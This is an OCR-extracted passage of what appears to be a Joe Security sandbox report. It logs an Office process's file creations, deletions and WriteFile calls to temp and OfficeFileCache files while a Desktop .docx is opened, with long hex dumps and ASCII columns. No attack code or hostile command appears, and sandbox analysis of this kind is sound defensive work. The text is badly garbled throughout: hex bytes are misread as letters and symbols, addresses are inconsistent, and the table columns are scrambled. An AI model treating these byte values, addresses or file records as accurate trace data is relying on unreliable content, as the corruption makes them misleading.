Cache\LocalCacheFileEditManager\FSD-{74F2B178- generic write directory file |
00AE-424F-83E7-BA599E828254}.FSD open no recall
C:\Users\user\AppData\Local\Temp\VBE read data or list ~ device directory file | success or wait 1 6DE82B14 CreateDirect
directory | synchronous io oryA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Microsoft\Office\14.0\ read data or list  device directory file | object name collision 1 7TFEEE944B20 CreateDirect
directory | synchronous io oryWw
synchronize non alert | open
for backup ident
| open reparse
point
File Deleted
File Path Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\{ACD4BEAE-F768-48FA-AC51-627BB9420B93} success or wait 1 7FEEE95AD42 DeleteFileW
C:\Users\user\AppData\Local\Temp\{81AEC75A-0A9E-4A32-B5F6-541A0FA08477} success or wait 1 7FEEE95AD42 DeleteFileW
C:\Users\user\Desktop\~$doc782.docx success or wait 1 6DF00648 unknown
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Old File Path New File Path
File Written

File Path Offset Length
C:\Users\user\AppData\Local\Temp\ 0 512
{ACD4BEAE-F768-48FA-AC51-62

7BB9420B93}

C:\Users\user\AppData\Local\Temp\ 76 40
{ACD4BEAE-F768-48FA-AC51-62

7BB9420B93}

C:\Users\user\AppData\Local\Temp\ 512 65024

{ACD4BEAE-F768-48FA-AC51-62
7BB9420B93}

Copyright Joe Security LLC 2022

Value

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 29 fd 29
fd fd 61 65 4c fd ef 19 37
7a 67 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 4d fd 54 fd 75 79 fd
40 fd 21 fd 6d fd fd 4c 36
05 00 00 00 00 00 00 00
35 fd 37 7d fd 37 4b 47 fd
11 fd 51 Oe fd fd fd 00 06
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 1a 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 00 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 01 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

4d fd 54 fd 75 79 fd 40 fd
21 fd 6d fd fd 4c 36 05 00
00 00 00 00 00 00 35 fd
37 7d fd 37 4b 47 fd 11 fd
51 Oe fd fd fd

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00

Completion

Ascii

MeFyz))aelL7zgS,XFFaq
MTuy@!mL65
TITKGQXXXX

MTuy@!mL657}7KGQ

zvV @

Completion

success or wait

success or wait

success or wait

Count

Source Address

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
2 7TFEEE917A59

Symbol

Symbol

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Temp\ 512
{ACD4BEAE-F768-48FA-AC51-62
7BB9420B93}

C:\Users\user\AppData\Local\Temp\ 1536
{ACD4BEAE-F768-48FA-AC51-62

7BB9420B93}

C:\Users\user\AppData\Local\Temp\ 0
{ACD4BEAE-F768-48FA-AC51-62
7BB9420B93}

C:\Users\user\AppData\Local\Temp\ 76
{ACD4BEAE-F768-48FA-AC51-62
7BB9420B93}

Copyright Joe Security LLC 2022

Length Value

1024

16

512

40

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00

10 00 00 00 00 00 00 00
01 00 00 00 d5 02 50

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 29 fd 29
fd fd 61 65 4c fd ef 19 37
7a 67 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 4d fd 54 fd 75 79 fd
40 fd 21 fd 6d fd fd 4c 36
05 00 00 00 00 00 00 00
35 fd 37 7d fd 37 4b 47 fd
11 fd 51 Oe fd fd fd 00 06
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 1a 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 00 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 01 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

4d fd 54 fd 75 79 fd 40 fd
21 fd 6d fd fd 4c 36 05 00
00 00 00 00 00 00 35 fd
37 7dfd 37 4b 47 fd 11 fd
51 Oe fd fd fd

Ascii

zv @

MeFyz))ael7zgS,XFFaq
MTuy@!mL65
TYTKGQXXXX

MTuy@!mL657}7KGQ

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Temp\ 2560
{ACD4BEAE-F768-48FA-AC51-62
7BB9420B93}

C:\Users\user\AppData\Local\Temp\ 2576
{ACD4BEAE-F768-48FA-AC51-62
7BB9420B93}

C:\Users\user\AppData\Local\Temp\ 1552
{ACD4BEAE-F768-48FA-AC51-62
7BB9420B93}

C:\Users\user\AppData\Local\Temp\ 0
{ACD4BEAE-F768-48FA-AC51-62
7BB9420B93}

Copyright Joe Security LLC 2022

Length Value

4096 fd fd fd fd fd 7a 56 fd 11
00 00 00 00 00 00 00 03
10 fd fd 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 00 00 00 00 00

4 03 10 fd fd

24 10 00 00 00 01 00 00 00
11 00 00 00 01 00 00 00

01 00 00 00 68 fd fd 28

512 Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 29 fd 29
fd fd 61 65 4c fd ef 19 37
7a 67 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 4d fd 54 fd 75 79 fd
40 fd 21 fd 6d fd fd 4c 36
05 00 00 00 00 00 00 00
35 fd 37 7d fd 37 4b 47 fd
11 fd 51 Oe fd fd fd 00 06
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 1a 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 00 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 01 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

Ascii

zVvV

h(

MeFyz))ael7zgS,XFFaq
MTuy@!mL65
TYTKGQXxXXX

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
2 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

0

76

6656

6712

2580

1576

Length Value

65536

40

il

4096

50

32

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 29 fd 29
fd fd 61 65 4c fd ef 19 37
7a 67 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 45 fd 63 0d fd fd fd
49 fd 04 fd fd 29 fd 3c 22
0Ob 00 00 00 00 00 00 00
35 fd 37 7d fd 37 4b 47 fd
11 fd 51 Oe fd fd fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

45 fd 63 0d fd fd fd 49 fd
04 fd fd 29 fd 3c 22 Ob 00
00 00 00 00 00 00 35 fd
37 7d fd 37 4b 47 fd 11 fd
51 Oe fd fd fd

fd 36 27 fd fd 17 41 fd fd
7b 67 06 fd 13 0d 03 00
02 00 fd 00 40 20 fd fd 01
fd fd fd fd 45 fd fd 3d 63
fd fd fd 4f Oa 03 00 00 3e
03 00 00 fd 01 49

fd fd fd fd fd 7a 56 fd 12
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd ed fd 7b
26 43 fd 31 fd fd 38 3f 49
fd 01 00 00 00 02 00 00
00 00 00 00 00 fd 3b 04
02 fd 65 66 48 fd fd 6b 06
1358 fd 2c 01 00 00 00
06 00 fd fd 60 fd fd 6e 01
4e 43 fd 74 fd 2e fd 1c 36
1501 00 00 00 05 00 00
00 00 00 00 00 fd 3b 04
02 fd 65 66 48 fd fd 6b 06
13 58 fd 2¢c 03 00 00 00
06 00 fd fd 7d 3a 08 fd fd
fd 43 fd fd 5f fd fd 78 58
fd 01 00 00 00 08 00 00
00 00 00 00 00 fd 3b 04
02 fd 65 66 48 fd fd 6b 06
13 58 fd 2c 03 00 00 00
06 00 fd 52 1e 7e fd 22 fd
4b fd fd 00 fd 50 fd fd 07
01 00 00 00 10 00 00 00
00 00 00 00 fd 3b 04 02
fd 65 66 48 fd fd 6b 06 13
58 fd 2c 03 00 00 00 06
00 fd 4e fd 37 10 3d fd fd
4e fd 5b 45 fd fd 30 fd fd
01 00 00 00 14 00 00

05 fd 00 fd 40 03 07 ed fd
7b 26 43 fd 31 fd fd 38 3f
49 fd 01 00 00 00 01 05
00 01 00 00 00 00 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00

10 00 00 00 02 00 00 00
11 00 00 00 02 00 00 00
12 00 00 00 02 00 00 00
01 00 00 00 fd 3a 61 fd

Ascii

MeFyz))aelL7zgS,XFFaq
Ecl)<"57}7KGQAEXXXX

Ecl)<"57}7KGQ

6A{g@ E=cO>I

zV{C18?

I;efHkX, nNCt.6;efHkX,}
:C_xX;efHkX,R~"KP;efHk
X,N7=N[EO

@{c182!

a

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

2 TFEEE95B1C3
1 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
3 7TFEEE917A59
1 7TFEEE917A59

Symbol

CopyFileExW

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

0

76

10808

14904

Length Value

512

40

4096

122

Oc fd 91 fd 1b fd 4d fd 65 MeFyz))aelL7zgS,XFFaq
46 79 fd fd fd 7a 29 fd 29 Ecl)<"57}7KGQAEXXXX

fd fd 61 65 4c fd ef 19 37
7a 67 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 45 fd 63 0d fd fd fd
49 fd 04 fd fd 29 fd 3c 22
Ob 00 00 00 00 00 00 00
35 fd 37 7d fd 37 4b 47 fd
11 fd 51 Oe fd fd fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

45 fd 63 0d fd fd fd 49 fd
04 fd fd 29 fd 3c 22 Ob 00
00 00 00 00 00 00 35 fd
37 7d fd 37 4b 47 fd 11 fd
51 Oe fd fd fd

fd fd fd fd fd 7a 56 fd 13
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd 2c 5e fd
4d fd 09 fd 4f fd fd 33 fd
59 fd 02 49 01 00 00 00
06 00 00 00 00 00 00 00
30 fd fd 4d fd 4d 43 4f fd
59 fd 1c fd 70 06 65 01
00 00 00 06 00 fd 2e 15
fd 5f 1c fd 46 44 fd fd 30
fd fd 73 43 33 01 00 00
00 11 00 00 00 00 00 00
00 fd 62 3f 17 2c fd 4d fd
fd 27 46 2a fd 20 fd 01 00
00 00 06 20 fd fd fd 95 fd
14 fd 21 47 fd fd 07 fd fd
€228 06 00 00 00 12 00
00 00 00 00 00 00 fd fd
84 fd fd 0d 4a fd fd 52 Oc
77 fd 70 73 01 00 00 00
66 fd 5f 7c fd 13 4b fd fd
fd 50 fd 6b fd fd 01 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00

ea 69 49 00 Oc 56 Oc 2c
Se fd 4d fd 09 fd 4f fd fd
33 fd 59 fd 02 49 fd 67 22
fd fd 02 fd 50 4e fd 58 fd
fd fd 47 fd 01 00 00 00 00
00 00 00 05 60 20 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 38 66
14 fd fd 84 fd fd 0d 4a fd
fd 52 Oc 77 fd 70 73 Oc fd
fd 84 fd fd 0d 4a fd fd 52
Oc 77 fd 70 73 Oc 66 fd 5f
7c fd 13 4b fd fd fd 50 fd
6b fd fd 05

Ascii

Ecl)<"57}7KGQ

Completion

success or wait

success or wait

zV,"MO3YIOMMCOYpe._ success or wait

FDOsC3?,M'F*
IG(JRwps_|KPk

iIV,"MO3YIg"PNXG"
8fJRwpsJIRwps_|KPk

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

15032

10824

1608

76

15208

15720

Length Value

81

56

40

512

40

134

70

3e 03 00 00 54 07 00 00
00 fd 54 27 Oc 2c 5e fd 4d
fd 09 fd 4f fd fd 33 fd 59
fd 02 49 79 00 6a 03 00
00 58 53 51 fd fd 84 fd fd
0d 4a fd fd 52 Oc 77 fd 70
7301 00 00 00 66 fd 5f
7c fd 13 4b fd fd fd 50 fd
6b fd fd 01 00 00 00 fd fd
01

03 10 fd fd 06 00 fd 2c 5e
fd 4d fd 09 fd 4f fd fd 33
fd 59 fd 02 49 01 00 00
00 06 00 00 00 00 00 00
00 30 fd fd 4d fd 4d 43 4f
fd 59 fd 1c fd 70 06 65 01
00 00 00

10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
01 0000 00 75 75 fd fd

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 29 fd 29
fd fd 61 65 4c fd ef 19 37
7a 67 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 45 fd 63 0d fd fd fd
49 fd 04 fd fd 29 fd 3c 22
0Ob 00 00 00 00 00 00 00
35 fd 37 7d fd 37 4b 47 fd
11 fd 51 Oe fd fd fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

45 fd 63 0d fd fd fd 49 fd
04 fd fd 29 fd 3c 22 0b 00
00 00 00 00 00 00 35 fd
37 7d fd 37 4b 47 fd 11 fd
51 Oe fd fd fd

ea 69 49 00 Oc 56 Oc fd
95 fd 14 fd 21 47 fd fd 07
fd fd c2 28 fd fd 77 fd fd
66 3b fd 44 fd fd fd 23 fd
28 6e 03 00 00 00 00 00
00 00 Ob fd 00 fd 32 fd Sb
fd 7a fd fd 76 fd 46 fd ef
1003 fd 59 01 00 00 11
0339 03 00 75 fd 00 fd
60 03 Oc 65 fd fd 5d 25
46 fd fd Of 1b fd 6b fd 00
39 01 00 00 00 00 00 00
00 10 00 00 00 2c 27 fd
00 01 fd fd 4d fd 61 36 fd
29 58 3e fd 79 05

ea 69 49 00 Oc 56 34 fd
95 fd 14 fd 21 47 fd fd 07
fd fd c2 28 fd fd 77 fd fd
66 3b fd 44 fd fd fd 23 fd
28 6e 0a 00 00 00 00 00
00 00 07 58 22 Oc fd 62
3f 17 2c fd 4d fd fd 27 46
2a fd 20 fd 05

Ascii

Completion

>STT' AMO3YIyjXSQJRwp  success or wait

s_|KPk

"MO3YIOMMCOYpe

uu

MeFyz))aelL7zgS,XFFaq
Ecl)<"57}7KGQAEXXXX

Ecl)<"57}7KGQ

IVIG(wi;D#
(n2[zvFY9u %Fk9,'Ma
6)X>y

iIVAIG(wf,D#(nX"?,M'F*

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

2 TFEEE917A59
4 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59
4 TFEEE917A59
2 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi

crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi

crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi

crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

Copyright Joe Security LLC 2022

Offset

15984

16312

2804

Length Value

328

328

448

3e 03 00 00 54 07 00 00
00 fd 54 27 1c fd 95 fd 14
fd 21 47 fd fd 07 fd fd c2
2819 00 fd 03 00 00 fd
54 27 24 fd 95 fd 14 fd 21
47 fd fd 07 fd fd c2 28 39
00 fd 03 00 00 fd 54 27
34 fd 95 fd 14 fd 21 47 fd
fd 07 fd fd c2 28 29 00 72
03 00 00 58 2b 29 fd 62
3f 17 2c fd 4d fd fd 27 46
2a fd 20 fd 01 00 00 00 fd
54 fd Oc 2e 15 fd 5f 1c fd
46 44 fd fd 30 fd fd 73 43
33 fd 09 Oc fd 95 fd 14 fd
21 47 fd fd 07 fd fd c2 28
14 fd 95 fd 14 fd 21 47 fd
fd 07 fd fd c2 28 1c fd 95
fd 14 fd 21 47 fd fd 07 fd
fd c2 28 24 fd 95 fd 14 fd
21 47 fd fd 07 fd fd c2 28
7a 03 00 00 fd 54 27 Oc
fd 95 fd 14 fd 21 47 fd fd
07 fd fd c2 28 39 00 fd 03
00 00 fd 54 27 Oc 2c 5e fd
4d fd 09 fd 4f fd fd 33 fd
59 fd 02 49 79 00 6a 03
00

3e 03 00 00 54 07 00 00
00 fd 54 27 1c fd 95 fd 14
fd 21 47 fd fd 07 fd fd c2
2819 00 fd 03 00 00 fd
54 27 24 fd 95 fd 14 fd 21
47 fd fd 07 fd fd c2 28 39
00 fd 03 00 00 fd 54 27
34 fd 95 fd 14 fd 21 47 fd
fd 07 fd fd c2 28 29 00 72
03 00 00 58 2b 29 fd 62
3f 17 2c fd 4d fd fd 27 46
2a fd 20 fd 01 00 00 00 fd
54 fd Oc 2e 15 fd 5f 1c fd
46 44 fd fd 30 fd fd 73 43
33 fd 09 Oc fd 95 fd 14 fd
21 47 fd fd 07 fd fd c2 28
14 fd 95 fd 14 fd 21 47 fd
fd 07 fd fd c2 28 1c fd 95
fd 14 fd 21 47 fd fd 07 fd
fd c2 28 24 fd 95 fd 14 fd
21 47 fd fd 07 fd fd c2 28
7a 03 00 00 fd 54 27 Oc
fd 95 fd 14 fd 21 47 fd fd
07 fd fd c2 28 39 00 fd 03
00 00 fd 54 27 Oc 2c 5e fd
4d fd 09 fd 4f fd fd 33 fd
59 fd 02 49 79 00 6a 03
00

05 fd 00 fd 6d 07 11 fd 95
fd 14 fd 21 47 fd fd 07 fd
fd c2 28 01 00 00 00 01
02 00 09 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd
7e 07 Of fd 95 fd 14 fd 21
47 fd fd 07 fd fd c2 28 02
00 00 00 01 06 00 Oa 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
05 fd 00 fd fd 07 Of fd 95
fd 14 fd 21 47 fd fd 07 fd
fd c2 28 03 00 00 00 01
06 00 Ob 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd
07 11 fd 95 fd 14 fd 21 47
fd fd 07 fd fd c2 28 04 00
00 00 01 06 00 Oc 00 00
00 00 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 05
fd 00 fd fd 07 09 fd 95 fd
14 fd 21 47 fd fd 07 fd fd
€2 28 06 00 00 00 01 02
00 0d 00 00 00 00 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 05 fd 00 fd fd

Ascii

Completion

STTIG(T'$!IG(9T'4IG()rX+  success or wait

)2.M'F*
T._FDOsC3IG(IG(IG($!G(
ZTIG(9T',"MO3Ylyj

STTIG(T'$!IG(9T'4IG()rX+  success or wait

)2, MF*
T._FDOSC3!G(IG(IG($!G(
ZTIG(9T',"MO3Ylyj

mIG(~IG(IG(IG(IG(

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
3 TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\FSF-CTBL.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile

Cache\FSD-{950185C1-D03B-43EE-

9B9C-DOCDFF898355}.FSD

Copyright Joe Security LLC 2022

Offset

16640

1648

16680

16

18

Length

40

32

32

512

16

512

Value

10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
01 00 00 00 cb fd fd

11 00 00 00 10 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 62 fd 2e fd

11 00 00 00 10 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 fd fd fd fd

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a 29 fd 29
fd fd 61 65 4c fd ef 19 37
7a 67 fd 53 2c fd fd fd 58
fd 46 fd fd 14 46 61 f5 71
05 00 00 00 05 00 00 00
05 00 00 00 05 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 45 fd 63 0d fd fd fd
49 fd 04 fd fd 29 fd 3c 22
0Ob 00 00 00 00 00 00 00
35 fd 37 7d fd 37 4b 47 fd
11 fd 51 Oe fd fd fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

fd fd 48 al fd 40 fd 06 fd
fd 62 fd 12 71

Oc 00

18

Ascii

